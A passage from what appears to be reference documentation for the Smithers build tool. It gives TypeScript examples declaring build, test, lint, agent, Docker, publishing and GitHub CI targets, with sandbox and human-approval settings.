
// Agents and pools
const agents = S.Agents({
  claude: S.Agent.ClaudeCode("opus"),
  codex: S.Agent.Codex({ model: "gpt-6-luna" }),
  reviewers: S.Agent.Pool(["claude", "codex"])
})
const reviewer = agents.reviewers

// Teams and ownership policy
const teams = S.Teams({
  platform: ["alice", "bob"],
  docs: ["carol"],
  security: ["dana"]
})
const owners = S.Owners.declare({
  owners: ["team:platform"],
  perFile: {
    "docs/**": ["team:docs"],
    "packages/security/**": ["team:security"]
  },
  noparent: true,
  agents: {
    default: "human-approve",
    "auto-land": ["docs/**"],
    deny: ["migrations/**"]
  },
  upstream: "review"
})

// Persistent agent memory
const memory = S.Memory.SmithersCloud({
  bank: ["acme/widgets"],
  autoInject: 8,
  init: {
    script: S.file("//scripts/init-memory.mjs"),
    secrets: [githubToken]
  }
})

// Sandbox implementations
const sandboxes = S.Sandboxes({
  none: S.Sandbox.None(),
  bubblewrap: S.Sandbox.Bubblewrap(),
  docker: S.Sandbox.Docker({ image: "node:22-bookworm" }),
  microsandbox: S.Sandbox.Microsandbox({ environment: nixFromFlake })
})

// Other repositories mounted into the workspace
const sharedRepository = S.LocalRepository("vendor/shared", { branch: "main" })

// Ordinary targets can be used as Git hooks
const preCommit = S.Shell.Test({ shell: "git diff --check" })

export default S.Workspace("acme", {
  repository: "git+https://github.com/acme/widgets.git",
  cache,
  runtime: node,
  packageManager: pnpm,
  nodeModules,
  environment: nixFromFlake,
  toolchains: [mise, rust, foundry, go],
  host,
  flags,
  agents,
  owners,
  teams,
  memory,
  sandboxes,
  repos: { shared: sharedRepository },
  gitHooks: { preCommit }
})
```

## Overlay mounts

An overlay repository holds only `.smithers/`. Its `.smithers/config.ts`
names the upstream repository the build CLI checks out and lays the overlay
over; the `mounts` concept page of `@smthrs/build-cli` covers the rest.

```ts
// .smithers/config.ts
import { Smithers as S } from "@smthrs/targets"

export default S.Mounts({
  effect: S.Mount({
    repository: "https://github.com/Effect-TS/effect.git",
    ref: "b04191b2941534754282c51ef2df2f965ac43a5c", // the pin: a full commit id
    track: "main", // the branch drift is measured against
    drift: "warn", // or "refuse", or "follow"
    patches: [] // unified diffs under .smithers/, applied in order
  })
})
```

## Package declarations

```ts
import { Smithers as S } from "@smthrs/targets"

const test = S.Vitest({
  tests: [S.glob("test/**/*.test.ts")],
  sources: [S.glob("src/**/*.ts")],
  deps: [],
  config: null,
  environment: "node",
  passWithNoTests: false,
  cwd: "packages/core"
})

export const Package = S.Package({
  defaultVisibility: "public",
  targets: { test }
})

// Apply a function you define to directories without PACKAGE.ts.
export const packageDefaults = S.PackageDefaults({
  directories: "packages/*",
  macro: ({ cwd }: { cwd: string }) => ({
    test: S.Vitest({
      tests: [S.glob("test/**/*.test.ts")],
      sources: [S.glob("src/**/*.ts")],
      deps: [],
      config: null,
      environment: "node",
      passWithNoTests: false,
      cwd
    })
  })
})
```

## Core graph and file rules

```ts
import { Smithers as S } from "@smthrs/targets"

const entry = S.file("src/index.ts")
const sources = S.glob("src/**/*.ts", { exclude: ["src/**/*.test.ts"] })
const tests = S.glob("test/**/*.test.ts")

const sourceFiles = S.Filegroup({ srcs: [entry, sources], cwd: "." })
const testFiles = S.Filegroup({ srcs: [tests], cwd: "." })

// Generate requires exactly one of emit, script, bin, or command
const generatedConstants = S.Generate({
  emit: {
    "generated/version.ts": "export const version = \"0.1.0\"\n",
    "generated/current": S.symlink("../src")
  },
  mode: "write"
})
const generatedFromScript = S.Generate({
  script: S.file("scripts/generate.mjs"),
  data: [sources],
  changes: ["generated/**"]
})
const generatedFromCommand = S.Generate({
  command: "node",
  args: ["scripts/generate.mjs"],
  data: [sources],
  changes: ["generated/**"]
})
const generatedFromBin = S.Generate({
  bin: S.NodeModule.Bin("@acme/codegen"),
  args: ["--input", "schema.json"],
  data: [S.file("schema.json")],
  changes: ["generated/**"]
})

const checks = S.Suite({ tests: [generatedConstants, generatedFromScript] })
const check = S.Alias(checks)
const sourceDigest = S.Files.digest(sourceFiles)
const sourceWithoutTests = S.Files.difference(sourceFiles, testFiles)

const goldenTest = S.Test({
  expect: sourceDigest,
  toBe: S.file("test/golden/source.digest")
})
const emptinessTest = S.Test({
  expect: S.Files.difference(sourceFiles, sourceFiles),
  toBe: "empty"
})

const writeGeneratedFiles = S.Materialize(generatedConstants)
const clean = S.Clean({
  targets: [generatedConstants],
  paths: ["dist", "coverage", ".cache"]
})
const copiedReadme = S.Copy({ from: S.file("README.md"), to: "dist/README.md" })
const literalLicense = S.Literal({ path: "dist/LICENSE", content: "MIT\n" })
const overlaidFiles = S.Overlay({
  base: sourceFiles,
  replace: { "src/config.ts": S.file("fixtures/config.production.ts") }
})
const markdownCode = S.Markdown.CodeBlocks({
  file: S.file("README.md"),
  lang: ["ts", "tsx"],
  context: [S.file("docs/context.d.ts")]
})
const importClosure = S.ImportClosure({ entries: [entry] })
const importClosureFiles = importClosure.files

const downloadedSchema = S.Fetch({
  url: "https://example.com/schema.tar.gz",
  sha256: "0000000000000000000000000000000000000000000000000000000000000000",
  out: "vendor/schema.tar.gz"
})

const codeowners = S.Owners.Codeowners({ org: "acme", path: ".github/CODEOWNERS" })
const ownerTree = S.Owners.Tree({ file: "OWNERS" })

const nightly = S.Cron({
  schedule: "0 3 * * *",
  refresh: [downloadedSchema],
  run: [goldenTest]
})
```

## TypeScript, testing, linting, and documentation

`VitestCoverage` returns the shared `{ outputs }` manifest for its captured report
directory. `CoverageReport` aliases the `ToolBuild.Outputs` schema. Coverage and
watch runs default to a 1,200,000 ms timeout; set `timeoutMs` to override it.

```ts
import { Smithers as S } from "@smthrs/targets"

const entry = S.file("src/index.ts")
const sources = S.glob("src/**/*.ts", { exclude: ["src/**/*.test.ts"] })
const tests = S.glob("test/**/*.test.ts")
const tsconfigFile = S.file("tsconfig.json")
const packageJsonFile = S.file("package.json")

const tsconfig = S.Tsconfig({
  references: [],
  extends: S.file("//tsconfig.base.json"),
  compilerOptions: {
    strict: true,
    target: "ES2023",
    module: "NodeNext",
    moduleResolution: "NodeNext",
    noEmit: true
  },
  include: ["src/**/*.ts", "test/**/*.ts"],
  exclude: ["dist", "coverage"],
  path: "tsconfig.json",
  mode: "check"
})

const lib = S.TsBuild({
  srcs: [sources],
  entries: [entry],
  deps: [],
  tsconfig: tsconfigFile,
  tool: { name: "tsup", external: ["effect"] },
  format: "dual",
  outDir: "dist",
  cwd: "."
})
const tscBuild = S.TsBuild({
  srcs: [sources],
  entries: [entry],
  deps: [],
  tsconfig: tsconfigFile,
  tool: { name: "tsc" },
  format: "esm",
  outDir: "dist/tsc"
})
// A `.vibe` entry builds like a `.ts` one: the tsc tool runs vibelang.
const vibeBuild = S.TsBuild({
  srcs: [S.glob("src/**/*.{ts,vibe}")],
  entries: [S.file("src/index.vibe")],
  deps: [],
  tsconfig: tsconfigFile,
  tool: { name: "tsc" },
  format: "esm",
  outDir: "dist/vibe"
})
const customProgramBuild = S.TsBuild({
  srcs: [sources],
  entries: [entry],
  deps: [],
  tsconfig: tsconfigFile,
  tool: { name: "program", entry: S.file("scripts/build.ts") },
  format: "esm",
  outDir: "dist/custom"
})

const dts = S.DtsBuild({
  srcs: [sources],
  entries: [entry],
  deps: [lib],
  tsconfig: tsconfigFile,
  tool: { name: "tsc", declarationMap: true },
  outDir: "dist"
})
const vibeDts = S.DtsBuild({
  srcs: [S.glob("src/**/*.{ts,vibe}")],
  entries: [S.file("src/index.vibe")],
  deps: [vibeBuild],
  tsconfig: tsconfigFile,
  tool: { name: "tsc", declarationMap: true },
  outDir: "dist/vibe"
})
const dtsWithTsup = S.DtsBuild({
  srcs: [sources],
  entries: [entry],
  deps: [lib],
  tsconfig: tsconfigFile,
  tool: { name: "tsup" },
  outDir: "dist/tsup"
})

const typecheck = S.Typecheck({
  srcs: [sources],
  deps: [lib],
  tsconfig: tsconfigFile,
  buildMode: false,
  incremental: false,
  cwd: "."
})

const vitest = S.Vitest({
  tests: [tests],
  sources: [sources],
  deps: [lib],
  config: S.file("vitest.config.ts"),
  environment: "node",
  passWithNoTests: false,
  coverage: true,
  timeoutMs: 1_200_000
})
const coverage = S.VitestCoverage({
  tests: [tests],
  sources: [sources],
  deps: [vitest],
  config: S.file("vitest.config.ts"),
  provider: "v8",
  reportsDirectory: "coverage",
  timeoutMs: 1_200_000,
  thresholds: {
    branches: 90,
    functions: 90,
    lines: 90,
    statements: 90
  }
})
const watch = S.VitestWatch({
  tests: [tests],
  sources: [sources],
  deps: [lib],
  config: S.file("vitest.config.ts"),
  environment: "node",
  timeoutMs: 1_200_000
})

const biome = S.BiomeCheck({
  sources: [sources],
  deps: [],
  config: S.file("biome.json"),
  lint: true,
  format: true
})
const dprint = S.Dprint({
  sources: [sources],
  deps: [],
  config: S.file("dprint.json"),
  fix: false
})
const eslint = S.EsLint({
  sources: [sources],
  deps: [],
  configs: [S.file("eslint.config.js")],
  maxWarnings: 0,
  fix: false
})
const dependencies = S.DepsLint({
  packageJson: packageJsonFile,
  sources: [sources],
  deps: [lib],
  tool: "knip",
  ignoreDependencies: ["typescript"],
  ignoreBinaries: ["node"]
})
const packageLint = S.PackageLint({
  packageJson: packageJsonFile,
  artifacts: [S.glob("dist/**")],
  deps: [lib, dts],
  strict: true,
  pack: true,
  attw: true
})
const docsParity = S.DocsParity({
  readme: S.file("README.md"),
  deps: [lib],
  minimumProseCharacters: 200
})
const sortedPackageJson = S.SortPackageJson({
  manifests: [packageJsonFile],
  deps: [],
  check: true
})

const newPackage = S.NewPackage({
  directory: "packages",
  version: "0.1.0",
  license: "MIT",
  fields: { type: "module" },
  tsconfigExtends: "../../tsconfig.base.json"
})

const lockfile = S.Lockfile({
  lockfilePath: "pnpm-lock.yaml",
  manifests: [S.pnpmWorkspace("//pnpm-workspace.yaml")],
  workspace: null,
  cwd: "."
})
const install = S.Install({
  lockfilePath: "pnpm-lock.yaml",
  lockfile,
  manifest: null,
  workspace: null,
  workspaceManifest: S.pnpmWorkspace("//pnpm-workspace.yaml")
})
const pnpmWorkspace = S.PnpmWorkspace({
  path: "pnpm-workspace.yaml",
  packages: ["packages/*", "apps/*"],
  allowBuilds: { esbuild: true },
  linkWorkspacePackages: true,
  settings: { verifyDepsBeforeRun: true },
  mode: "check"
})

const typedoc = S.TypedocDocs({
  sources: [sources],
  deps: [dts],
  tsconfig: tsconfigFile,
  config: S.file("typedoc.json"),
  entryPoints: [entry],
  outDir: "docs/api",
  plugin: []
})
const published = S.Npm.Published({ manifest: packageJsonFile })
const apiCompatibility = S.Api.Compat({
  baseline: published,
  surface: dts,
  manifest: packageJsonFile
})
const sizeBudgets = S.Size.Budgets({
  manifest: packageJsonFile,
  data: [lib]
})
```

`TsBuild.distributionLayout` owns the output directories and publish entry paths.
The `tsc` and `program` tools use format subdirectories under `outDir`.
A `.vibe` entry publishes the same `<name>.js` and `<name>.d.ts` a `.ts` entry does.
The `tsc` tool runs vibelang, which takes tsc's flags and compiles `.vibe` and `.ts` sources together, as `Typecheck` does; a workspace that declares it installs vibelang.
Dual builds use declarations beside ESM; CJS-only builds use declarations beside CJS.
`PackageJson.publishFields` derives entry points from this layout during declaration expansion.
The tsup tool declares one flat output tree and does not request declarations, so it cannot serve as a `PackageJson` publish entry.

`PackageJson` expands generated-prose source globs within the declaring package, excluding nested packages.
The generation digest includes the source path listing, so adding or removing a source changes it; editing source bytes does not.
`PackageJsonCheck` always checks, even when declared with `mode: "write"` or `mode: "refresh"`.
It never writes the manifest or calls a model. Use `PackageJsonWrite` for those modes.

## Shell, tools, Node, and bundling

```ts
import { Smithers as S } from "@smthrs/targets"

const sources = S.glob("src/**/*.ts")
const tests = S.glob("test/**/*.test.ts")
const credential = S.HttpSecret(S.Secret("GITHUB_TOKEN"), ["https://api.github.com"])

// Shell rules require exactly one of bin, bun, command, or script
const shellBuild = S.Shell.Build({
  bin: S.NodeModule.Bin("vocs"),
  args: ["build"],
  data: [sources],
  outDirs: ["dist"],
  env: { NODE_ENV: "production" },
  sandbox: { network: false }
})
const shellTest = S.Shell.Test({
  bin: S.NodeModule.Bin("vitest"),
  args: ["run"],
  data: [sources, tests],
  gates: [shellBuild],
  shards: 4,
  timeout: "20m"
})
const shellRun = S.Shell.Run({
  shell: "curl -fsS -H \"authorization: token $GITHUB_TOKEN\" \"$GITHUB_API/user\"",
  env: { GITHUB_API: S.SecretOrigin("https://api.github.com") },
  secrets: [credential],
  sandbox: { network: true },
  approval: "required"
})
const shellServe = S.Shell.Serve({
  bun: "await $`${node} server.ts`",
  using: { node: S.Runtime.bin },
  data: [sources],
  readiness: {
    http: "http://localhost:4000/health",
    timeout: "90s"
  },
  health: { interval: "15s", failures: 3 },
  stop: { signal: "SIGTERM", grace: "10s" }
})
const shellDiff = S.Shell.Diff({
  bin: S.NodeModule.Bin("prettier"),
  args: ["--write", "."],
  data: [sources],
  changes: ["src/**"]
})

const dev = S.Dev({
  command: "pnpm",
  args: ["dev"],
  inputs: [sources],
  deps: [],
  cwd: ".",
  readyWhen: null
})
const toolBuild = S.ToolBuild({
  tool: "zig",
  command: "zig",
  args: ["build"],
  inputs: [S.glob("src/**/*.zig")],
  outputs: ["zig-out"],
  deps: [],
  env: {},
  cache: true
})
const toolRun = S.ToolRun({
  command: "curl",
  args: [`${S.SecretOrigin("https://api.github.com")}/rate_limit`],
  inputs: [],
  deps: [],
  env: {},
  secrets: [credential],
  expectedExitCodes: [0],
  timeoutMs: 30_000
})

const nodeTests = S.NodeTest({
  runner: S.testRunner([S.file("test/unit.test.ts"), S.file("test/integration.test.ts")]),
  srcs: [tests],
  deps: [S.Target.subtree("//packages/...", "lib")],
  env: { NODE_ENV: "test" }
})
const nodeBinary = S.NodeBinary({
  entry: S.file("src/cli.ts"),
  args: ["--help"],
  srcs: [sources],
  deps: [],
  env: {}
})

const bundler = S.Bundler.Rspack({ config: S.file("rspack.config.ts") })
const moduleGraph = bundler.resolve({
  entries: ["src/client.tsx"],
  universe: [sources]
})
const browserBundle = bundler.build({
  environment: "client",
  mode: "production",
  env: { NODE_ENV: "production" },
  graph: moduleGraph,
  outDirs: ["dist/client"]
})
```

## Agents and generated documentation

```ts
import { Smithers as S } from "@smthrs/targets"

const sources = S.glob("src/**/*.ts")
const changes = S.gitDiff({ base: "origin/main", paths: ["src/**", "test/**"] })
const credential = S.HttpSecret(S.Secret("GITHUB_TOKEN"), ["https://api.github.com"])
const tests = S.Shell.Test({ shell: "pnpm test", data: [sources] })

const agentLint = S.Agent.Lint({
  agent: S.Agents.reviewers,
  prompt: S.file("prompts/lint.md"),
  data: [changes, sources],
  fixes: ["src/**"]
})
const agentDiff = S.Agent.Diff({
  agent: S.Agents.codex,
  prompt: S.file("prompts/implement.md"),
  payload: {
    issue: S.Input.String("Issue to implement"),
    mode: S.Input.Literals(["minimal", "complete"]),
    note: S.Input.Optional(S.Input.String("Additional context"))
  },
  mcp: [S.Mcp.Http("github", "https://mcp.example.com/github")],
  data: [changes, sources],
  changes: ["src/**", "test/**"],
  gates: [tests],
  secrets: [credential],
  sandbox: { network: true },
  approval: "required",
  maxRounds: 3
})
const agentPr = S.Agent.Pr({
  agent: S.Agents.claude,
  prompt: S.file("prompts/pull-request.md"),
  data: [changes],
  changes: ["src/**", "test/**"],
  gates: [tests],
  secrets: [credential],
  sandbox: { network: true },
  approval: "required",
  maxRounds: 2
})

const llmLint = S.LlmLint({
  changes,
  include: [S.glob("src/**")],
  context: [S.glob("docs/**")],
  deps: [tests],
  prompt: "Review these changes for correctness.",
  rubric: "Report concrete bugs, unsafe behavior, and missing tests.",
  engine: "codex",
  model: "gpt-6-luna",
  batchSize: 4,
  failOn: "error"
})

const docsPage = S.Docs.Page({
  agent: S.Agents.codex,
  brief: S.file("docs/briefs/api.md"),
  prompt: S.file("prompts/write-docs.md"),
  references: [S.file("README.md")],
  inputs: [sources],
  output: "docs/api.md",
  gates: [tests],
  sandbox: { network: true },
  approval: "required",
  maxRounds: 3
})
const docsCheck = S.Docs.Check({
  stamp: S.file("docs/api.stamp"),
  output: S.file("docs/api.md"),
  inputs: [sources],
  producer: "docsPage"
})
```

## Rust, Foundry, Anvil, Go, and Docker

```ts
import { Smithers as S } from "@smthrs/targets"

const rustSources = S.glob([
  "crates/**/*.rs",
  "crates/**/Cargo.toml",
  "Cargo.toml",
  "Cargo.lock"
])
const cargoFetch = S.Cargo.Fetch({
  workspace: S.file("//Cargo.toml"),
  outFiles: ["//Cargo.lock"],
  outDirs: ["//.cargo-home"],
  sandbox: { network: true }
})
const cargoApps = S.Cargo.AppSet({
  manifests: S.glob("crates/*/Cargo.toml"),
  metadata: { aomi: { skip: true } }
})
const cargoBuild = S.Cargo.Build({
  crates: cargoApps,
  features: ["tls"],
  allFeatures: false,
  locked: true,
  offline: true,
  bins: ["widget"],
  lib: true,
  profile: "release",
  target: "x86_64-unknown-linux-gnu",
  container: "docker",
  data: [cargoFetch, rustSources],
  outDirs: ["target/release"]
})
const cargoTest = S.Cargo.Test({
  workspace: true,
  features: ["test-utils"],
  locked: true,
  offline: true,
  bins: ["widget"],
  lib: true,
  noRun: false,
  gates: [cargoBuild],
  data: [cargoFetch, rustSources]
})
const cargoNextest = S.Cargo.Nextest({
  package: "widget-core",
  features: ["test-utils"],
  locked: true,
  offline: true,
  gates: [cargoBuild],
  data: [cargoFetch, rustSources]
})
const cargoClippy = S.Cargo.Clippy({
  workspace: true,
  lib: true,
  allTargets: true,
  denyWarnings: true,
  data: [cargoFetch, rustSources]
})
const cargoFmt = S.Cargo.Fmt({
  workspace: true,
  data: [rustSources],
  changes: ["crates/**"],
  toolchain: "stable"
})
const cargoDoc = S.Cargo.Doc({
  package: "widget-core",
  data: [cargoFetch, rustSources],
  outDirs: ["target/doc"]
})
const cargoDeny = S.Cargo.Deny({
  config: S.file("//deny.toml"),
  data: [cargoFetch],
  sandbox: {}
})

const soliditySources = S.glob(["src/**/*.sol", "test/**/*.sol"])
const foundryBuild = S.Foundry.Build({
  data: [soliditySources],
  outDirs: ["out", "cache"]
})
const foundryTest = S.Foundry.Test({
  data: [soliditySources],
  gates: [foundryBuild]
})
const foundryFmt = S.Foundry.Fmt({
  data: [soliditySources],
  changes: ["src/**/*.sol", "test/**/*.sol"]
})
const anvil = S.Anvil.Fork({
  forkUrl: S.Secret("ETH_RPC_URL"),
  forkBlockNumber: 19_000_000,
  port: 8545
})

const goSources = S.glob(["**/*.go", "go.mod", "go.sum"])
const goDownload = S.Go.ModDownload({
  mod: S.file("go.mod"),
  sum: S.file("go.sum"),
  outDirs: [".cache/go-mod"],
  sandbox: { network: true }
})
const goPackages = S.Go.Packages({
  pkgs: ["./..."]
})
const goTest = S.Go.Test({
  pkgs: goPackages,
  runner: "gotestsum",
  timeout: "10m",
  parallel: "cpus",
  data: [goSources, goDownload]
})
const goBinary = S.Go.Binary({
  pkg: "./cmd/widget",
  out: "dist/widget",
  data: [goSources, goDownload],
  ldflags: ["-s", "-w"],
  stamp: {
    "main.version": S.Stamp.version,
    "main.commit": S.Stamp.commit,
    "main.commitDate": S.Stamp.commitDate,
    "main.buildTime": S.Stamp.buildTime,
    "main.versionMeta": S.Stamp.versionMeta
  }
})
const goLint = S.Go.Lint({
  config: S.file(".golangci.yml"),
  version: "v2.4.0",
  pkgs: ["./..."],
  data: [goSources, goDownload]
})
const goGenerate = S.Go.Generate({
  pkgs: goPackages,
  tools: [S.Go.run("golang.org/x/tools/cmd/stringer@v0.38.0")],
  data: [goSources, goDownload],
  changes: ["**/*.go"]
})
const goFuzz = S.Go.Fuzz({
  pkg: "./internal/parser",
  fuzz: "FuzzParser",
  time: "30s",
  parallel: 2,
  data: [goSources, goDownload]
})
const goTool = S.Go.run("golang.org/x/tools/cmd/stringer@v0.38.0")
const dockerLdflags = S.Go.ldflags({
  strip: true,
  stamp: {
    "main.version": S.Stamp.version,
    "main.commit": S.Stamp.commit
  }
})

const database = S.Docker.Service({
  image: "postgres",
  tag: "17",
  env: { POSTGRES_PASSWORD: "development" },
  ports: { "5432": 5432 },
  volumes: { "./.data/postgres": "/var/lib/postgresql/data" },
  readiness: { port: 5432 },
  health: { interval: "10s", failures: 5 },
  stop: { signal: "SIGTERM", grace: "30s" },
  init: [["psql", "-c", "CREATE DATABASE widget_test"]]
})
const dockerServe = S.Docker.Serve({
  image: "nginx",
  tag: "1.29",
  ports: { "80": 8080 },
  readiness: { http: "http://localhost:8080", timeout: "30s" },
  command: ["nginx", "-g", "daemon off;"]
})
const dockerBuild = S.Docker.Build({
  dockerfile: S.file("Dockerfile"),
  context: ".",
  platforms: ["linux/amd64", "linux/arm64"],
  buildArgs: { VERSION: S.Stamp.version },
  data: [goBinary],
  sandbox: { network: true }
})
const dockerBake = S.Docker.Bake({
  config: S.file("docker-bake.hcl"),
  target: "app",
  data: [goBinary]
})
const dockerPush = S.Docker.Push({
  image: dockerBuild,
  registry: "ghcr.io",
  name: "acme/widget",
  tags: ["latest", S.Stamp.version],
  gates: [goTest],
  sandbox: { network: true },
  approval: "required"
})
```

## Git, GitHub, repositories, publishing, and memory

```ts
import { Smithers as S } from "@smthrs/targets"

const sources = S.glob("src/**/*.ts")
const build = S.Shell.Build({
  shell: "pnpm build",
  data: [sources],
  outDirs: ["dist"]
})
const tests = S.Shell.Test({ shell: "pnpm test", data: [sources] })
const githubToken = S.HttpSecret(S.Secret("GITHUB_TOKEN"), [
  "https://api.github.com",
  "https://uploads.github.com"
])
const npmToken = S.HttpSecret(S.Secret("NPM_TOKEN"), ["https://registry.npmjs.org"])

const sharedTests = S.Repo.Target("shared", "//packages/core:test", {
  args: ["--runInBand"],
  data: [sources],
  gates: [tests],
  sandbox: { network: false }
})

const head = S.gitCommit("HEAD")
const main = S.gitCommit("origin/main")
const commit = S.Git.Commit({
  gates: [tests],
  message: S.Agents.codex,
  changes: ["src/**", "test/**"]
})
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3164): declaration only; execution refuses.
const gitPr = S.Git.Pr({
  gates: [tests],
  secrets: [githubToken],
  sandbox: { network: true },
  approval: "required"
})
const oneSubmodule = S.Git.Submodule({ path: "vendor/shared" })
const allSubmodules = S.Git.Submodules({
  config: S.file("//.gitmodules"),
  paths: ["vendor/shared", "vendor/fixtures"]
})

const githubSetup = S.Github.Setup({
  cacheUrl: S.Secret("SMITHERS_CACHE_URL"),
  cacheToken: S.Secret("SMITHERS_CACHE_TOKEN")
})
const workflow = S.Github.Workflow({
  name: "CI",
  on: {
    pullRequest: true,
    pullRequestTarget: false,
    issues: { types: ["opened", "reopened"] },
    push: { branches: ["main"] },
    schedule: ["0 3 * * *"],
    release: ["published"],
    workflowDispatch: true
  },
  concurrency: {
    group: "ci-${{ github.ref }}",
    cancelInProgress: true
  },
  permissions: {
    contents: "read",
    pullRequests: "write"
  },
  env: { CI: "true" },
  environment: "production",
  condition: "github.event.pull_request.draft == false",
  jobName: "test",
  runsOn: "ubuntu-latest",
  setup: githubSetup,
  affected: true,
  run: [tests, build],
  steps: [
    { name: "Checkout", uses: "actions/checkout@v4" },
    { name: "Repository check", run: "git diff --check" }
  ]
})
const githubWorkflowFiles = S.Github.CiGen({
  workflows: [workflow],
  preserve: ["handwritten.yml"],
  changes: [".github/workflows/**"]
})
const compactCi = S.Github.Ci({
  workflows: {
    CI: {
      on: {
        pullRequest: true,
        push: ["main"],
        dispatch: true
      },
      run: [tests, build]
    }
  },
  changes: [".github/workflows/**"]
})
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3164): declaration only; execution refuses.
const githubPr = S.Github.Pr({
  gates: [tests],
  secrets: [githubToken],
  sandbox: { network: true },
  approval: "required"
})
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3165): declaration only; execution refuses.
const pages = S.Github.Pages({
  site: build,
  secrets: [githubToken],
  sandbox: { network: true },
  approval: "required"
})
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3165): declaration only; execution refuses.
const release = S.Github.Release({
  manifest: S.file("package.json"),
  notes: S.Agents.codex,
  data: [build],
  gates: [tests],
  secrets: [githubToken],
  sandbox: { network: true },
  approval: "required"
})

const retainedMemory = S.Memory.Retain({
  source: head,
  tags: ["release", "main"]
})

const npmPack = S.Npm.Pack({
  manifest: S.file("package.json"),
  data: [build]
})
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3163): declaration only; execution refuses.
const npmPublish = S.Npm.Publish({
  pack: npmPack,
  gates: [tests],
  distTag: "latest",
  provenance: true,
  secrets: [npmToken],
  sandbox: { network: true },
  approval: "required"
})
const publishedPackage = S.Npm.Published({ manifest: S.file("package.json") })
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3166): declaration only; execution refuses.
const downstream = S.Npm.Downstream({
  repository: "https://github.com/acme/widget-consumer.git",
  overrides: { "@acme/widget": npmPack },
  run: ["pnpm test"],
  sandbox: { network: true }
})

const directNpmPublish = S.NpmPublish({
  packageJson: S.file("package.json"),
  artifacts: [S.glob("dist/**")],
  deps: [build],
  registry: "https://registry.npmjs.org",
  access: "public",
  provenance: true,
  tag: "latest",
  dryRun: true
})
const jsrPublish = S.JsrPublish({
  config: S.file("jsr.json"),
  sources: [sources],
  deps: [build, directNpmPublish],
  package: "@acme/widget",
  cliVersion: "0.13.4",
  allowDirty: false,
  dryRun: true
})

const changesetsVersion = S.Changesets.Version({
  config: S.file(".changeset/config.json"),
  data: [
    S.glob(".changeset/*.md"),
    S.glob(["package.json", "packages/*/package.json"]),
    S.glob(["CHANGELOG.md", "packages/*/CHANGELOG.md"]),
    S.file("pnpm-lock.yaml")
  ],
  changes: [
    "package.json",
    "packages/*/package.json",
    "CHANGELOG.md",
    "packages/*/CHANGELOG.md",
    "pnpm-lock.yaml"
  ]
})
// Deferred past 1.0 (https://github.com/smithersai/smithers/issues/3163): declaration only; execution refuses.
const changesetsPublish = S.Changesets.Publish({
  config: S.file(".changeset/config.json"),
  pack: npmPack,
  gates: [tests],
  secrets: [npmToken, githubToken],
  sandbox: { network: true },
  approval: "required"
})
```

## CI toolchains and workflow generation

`CiToolchain.Node` takes exactly one of `release`, an exact version the job installs, or `versionFile`, a checked-in file the setup action reads at run time. Prefer `versionFile` whenever anything outside the workflow needs the same number: `.node-version` is read by `actions/setup-node`, by fnm, nvm and asdf, and by a shell bootstrap that has no Node to parse JSON with, so one file keeps them from drifting apart.

The Cloud CI bootstrap keeps an installed Node release when its full version meets `package.json` `engines.node`. Otherwise it installs the verified release from `.node-version`.

`CiToolchain.Node` accepts an optional `npmRelease` pin. The generated job installs that npm version after setting up Node; omitting it keeps Node's bundled npm. The release tarball rehearsal requires npm 11.16.0, so its toolchain declares that pin explicitly.

`CiToolchain.Postgres` puts `initdb` and `pg_ctl` on `PATH`: PGDG `postgresql-18` on Linux and Homebrew `postgresql@18` on macOS. Windows uses the runner image's own server when it is PostgreSQL 17 or later.

`cachePackageStore` defaults to `true`. Node setup restores the pnpm store when the workspace declares pnpm. For Bun workspaces, Node setup omits the package-store cache because `actions/setup-node` does not cache Bun. Set `cachePackageStore: false` to disable package-store caching.

```ts
import { Smithers as S } from "@smthrs/targets"

const test = S.Shell.Test({ shell: "pnpm test" })
const lint = S.Shell.Test({ shell: "pnpm lint" })

const node = S.CiToolchain.Node({ versionFile: ".node-version", npmRelease: "11.16.0" })
const bun = S.CiToolchain.Bun({ release: "1.4.1" })
const ripgrep = S.CiToolchain.Ripgrep({ release: "14.1.1" })
const apt = S.CiToolchain.Apt({ packages: ["libssl-dev", "pkg-config"] })
const go = S.CiToolchain.Go({ release: "1.26.0" })
const foundry = S.CiToolchain.Foundry({ release: "v1.8.1" })
const postgres = S.CiToolchain.Postgres({ release: "18" })
const docker = S.CiToolchain.Docker({ imageStore: "containerd" })
const jj = S.CiToolchain.Jj({ release: "0.39.0" })
const rust = S.CiToolchain.Rust({
  toolchain: S.Rust.Pinned({ pin: S.file("//rust-toolchain.toml") })
})
const browser = S.CiToolchain.Browser({
  executable: "/usr/bin/google-chrome",
  reason: "the runner image ships Chrome at this path"
})
const artifacts = S.CiToolchain.Artifacts({
  artifact: "test-results",
  sources: [
    { from: "coverage" },
    { from: "test-results", as: "results" }
  ]
})
// GithubCiGen declares each named workflow as a check-mode input, so
// //:targetIndex refuses a workflow that does not exist.
const actionlint = S.CiToolchain.Actionlint({
  release: "1.7.11",
  workflows: [".github/workflows/ci.yml"]
})

const needs = S.CiToolchain.Needs({
  runtimes: [node, bun],
  ripgrep,
  apt,
  go,
  foundry,
  postgres,
  docker,
  jj,
  rust,
  browser,
  artifacts,
  workflowLint: actionlint
})

// Nix is an alternative whole-job toolchain
const nixEnvironment = S.Nix.Environment({
  flake: S.file("//flake.nix"),
  lock: S.file("//flake.lock")
})
const nix = S.CiToolchain.Nix({
  environment: nixEnvironment,
  substituter: S.Secret("NIX_SUBSTITUTER"),
  publicKey: S.Secret("NIX_PUBLIC_KEY")
})
const nixNeeds = S.CiToolchain.Needs({ nix })

const workflows = S.GithubCiGen({
  jobs: [
    {
      id: "test",
      name: "Tests",
      runsOn: "ubuntu-latest",
      timeoutMinutes: 30,
      continueOnError: false,
      publishesToCache: true,
      toolchain: needs,
      steps: [
        {
          name: "Test",
          verb: S.Verb.Test,
          pattern: "//packages/...:test",
          parallelism: 4
        },
        {
          name: "Lint",
          verb: S.Verb.Lint,
          pattern: "//packages/...:lint",
          parallelism: 2
        }
      ]
    },
    {
      id: "matrix-test",
      name: "Platform matrix",
      matrix: [
        { os: "ubuntu-latest", advisory: false },
        { os: "macos-latest", advisory: true }
      ],
      toolchain: needs,
      steps: [
        {
          name: "Test",
          verb: S.Verb.Test,
          pattern: "//packages/...:test",
          parallelism: 2
        }
      ]
    },
    {
      id: "nix-test",
      name: "Nix tests",
      runsOn: "ubuntu-latest",
